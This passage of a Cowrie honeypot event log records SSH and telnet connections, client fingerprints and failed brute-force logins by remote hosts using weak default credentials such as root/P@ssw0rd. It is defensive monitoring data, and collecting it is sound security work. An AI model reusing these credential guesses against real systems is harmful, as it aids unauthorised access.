{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":42168,"dst_ip":"159.203.135.109","dst_port":23,"session":"239b76d046a8","protocol":"telnet","message":"New connection: 74.91.213.120:42168 (159.203.135.109:23) [session: 239b76d046a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:48:04.974508Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:48:05.529931Z","src_ip":"45.153.34.114","session":"d6c563128e47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":38934,"dst_ip":"159.203.135.109","dst_port":23,"session":"d9c1f2ac5c47","protocol":"telnet","message":"New connection: 74.91.213.120:38934 (159.203.135.109:23) [session: d9c1f2ac5c47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:48:10.964323Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":47884,"dst_ip":"159.203.135.109","dst_port":22,"session":"4564f6ceacc0","protocol":"ssh","message":"New connection: 45.153.34.114:47884 (159.203.135.109:22) [session: 4564f6ceacc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:48:12.261475Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:48:12.266391Z","src_ip":"45.153.34.114","session":"4564f6ceacc0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:48:12.383786Z","src_ip":"45.153.34.114","session":"4564f6ceacc0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"default","password":"default","message":"login attempt [default/default] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:48:12.688121Z","src_ip":"45.153.34.114","session":"4564f6ceacc0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:48:13.774725Z","src_ip":"45.153.34.114","session":"4564f6ceacc0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":54716,"dst_ip":"159.203.135.109","dst_port":22,"session":"48d8b69022e7","protocol":"ssh","message":"New connection: 45.153.34.114:54716 (159.203.135.109:22) [session: 48d8b69022e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:48:20.696945Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:48:20.702587Z","src_ip":"45.153.34.114","session":"48d8b69022e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:48:20.787550Z","src_ip":"45.153.34.114","session":"48d8b69022e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootroot","message":"login attempt [root/rootroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:48:21.048603Z","src_ip":"45.153.34.114","session":"48d8b69022e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.121798276901245,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:48:21.756911Z","src_ip":"74.91.213.120","session":"5a5eba7ab4af","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:48:22.139902Z","src_ip":"45.153.34.114","session":"48d8b69022e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.224.125.54","src_port":15237,"dst_ip":"159.203.135.109","dst_port":22,"session":"d8fe02caffcf","protocol":"ssh","message":"New connection: 43.224.125.54:15237 (159.203.135.109:22) [session: d8fe02caffcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:48:22.164108Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":54304,"dst_ip":"159.203.135.109","dst_port":23,"session":"3fd8a1db68a6","protocol":"telnet","message":"New connection: 74.91.213.120:54304 (159.203.135.109:23) [session: 3fd8a1db68a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:48:22.838329Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":46692,"dst_ip":"159.203.135.109","dst_port":23,"session":"1b9378597569","protocol":"telnet","message":"New connection: 74.91.213.120:46692 (159.203.135.109:23) [session: 1b9378597569]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:48:27.574160Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":54742,"dst_ip":"159.203.135.109","dst_port":22,"session":"efd94aa05c60","protocol":"ssh","message":"New connection: 45.153.34.114:54742 (159.203.135.109:22) [session: efd94aa05c60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:48:28.931847Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:48:28.936478Z","src_ip":"45.153.34.114","session":"efd94aa05c60","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:48:29.020275Z","src_ip":"45.153.34.114","session":"efd94aa05c60","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"milad","password":"milad","message":"login attempt [milad/milad] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:48:29.279142Z","src_ip":"45.153.34.114","session":"efd94aa05c60","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":54316,"dst_ip":"159.203.135.109","dst_port":23,"session":"8f24f28463ef","protocol":"telnet","message":"New connection: 74.91.213.120:54316 (159.203.135.109:23) [session: 8f24f28463ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:48:29.649198Z"}
{"eventid":"cowrie.session.closed","duration":30.806235790252686,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:48:29.689668Z","src_ip":"74.91.213.120","session":"b32998f99576","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.31497836112976,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:48:30.293374Z","src_ip":"74.91.213.120","session":"d5259ff8557e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.44419503211975,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:48:30.351626Z","src_ip":"74.91.213.120","session":"642b39dcd4ee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:48:30.365975Z","src_ip":"45.153.34.114","session":"efd94aa05c60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.16008949279785,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:48:36.134467Z","src_ip":"74.91.213.120","session":"239b76d046a8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":58798,"dst_ip":"159.203.135.109","dst_port":22,"session":"bea84099bf96","protocol":"ssh","message":"New connection: 45.153.34.114:58798 (159.203.135.109:22) [session: bea84099bf96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:48:37.264595Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:48:37.269215Z","src_ip":"45.153.34.114","session":"bea84099bf96","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:48:37.358172Z","src_ip":"45.153.34.114","session":"bea84099bf96","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd","message":"login attempt [root/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:48:37.617132Z","src_ip":"45.153.34.114","session":"bea84099bf96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0011043548584,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:48:38.642637Z","src_ip":"43.224.126.107","session":"4eb0c906bbd3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:48:38.739626Z","src_ip":"45.153.34.114","session":"bea84099bf96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":50564,"dst_ip":"159.203.135.109","dst_port":23,"session":"8849e1a9ab7a","protocol":"telnet","message":"New connection: 74.91.213.120:50564 (159.203.135.109:23) [session: 8849e1a9ab7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:48:40.656929Z"}
{"eventid":"cowrie.session.closed","duration":31.13426685333252,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:48:42.098485Z","src_ip":"74.91.213.120","session":"d9c1f2ac5c47","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":33392,"dst_ip":"159.203.135.109","dst_port":22,"session":"138787ef4c4d","protocol":"ssh","message":"New connection: 45.153.34.114:33392 (159.203.135.109:22) [session: 138787ef4c4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:48:45.271450Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:48:45.276731Z","src_ip":"45.153.34.114","session":"138787ef4c4d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:48:45.366290Z","src_ip":"45.153.34.114","session":"138787ef4c4d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"master","password":"master","message":"login attempt [master/master] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:48:45.624414Z","src_ip":"45.153.34.114","session":"138787ef4c4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:48:46.721741Z","src_ip":"45.153.34.114","session":"138787ef4c4d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":57070,"dst_ip":"159.203.135.109","dst_port":23,"session":"66d956fdbc8d","protocol":"telnet","message":"New connection: 74.91.213.120:57070 (159.203.135.109:23) [session: 66d956fdbc8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:48:48.481733Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":57084,"dst_ip":"159.203.135.109","dst_port":23,"session":"7b57ef8b8508","protocol":"telnet","message":"New connection: 74.91.213.120:57084 (159.203.135.109:23) [session: 7b57ef8b8508]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:48:48.874377Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":57088,"dst_ip":"159.203.135.109","dst_port":23,"session":"11573f244a07","protocol":"telnet","message":"New connection: 74.91.213.120:57088 (159.203.135.109:23) [session: 11573f244a07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:48:49.647579Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":34158,"dst_ip":"10.17.0.5","dst_port":22,"session":"d4d86e1d30a2","protocol":"ssh","message":"New connection: 87.251.64.176:34158 (10.17.0.5:22) [session: d4d86e1d30a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:48:53.224967Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:48:53.229859Z","src_ip":"87.251.64.176","session":"d4d86e1d30a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:48:53.326222Z","src_ip":"87.251.64.176","session":"d4d86e1d30a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":42020,"dst_ip":"159.203.135.109","dst_port":22,"session":"84b6931c746e","protocol":"ssh","message":"New connection: 45.153.34.114:42020 (159.203.135.109:22) [session: 84b6931c746e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:48:53.409289Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:48:53.413942Z","src_ip":"45.153.34.114","session":"84b6931c746e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 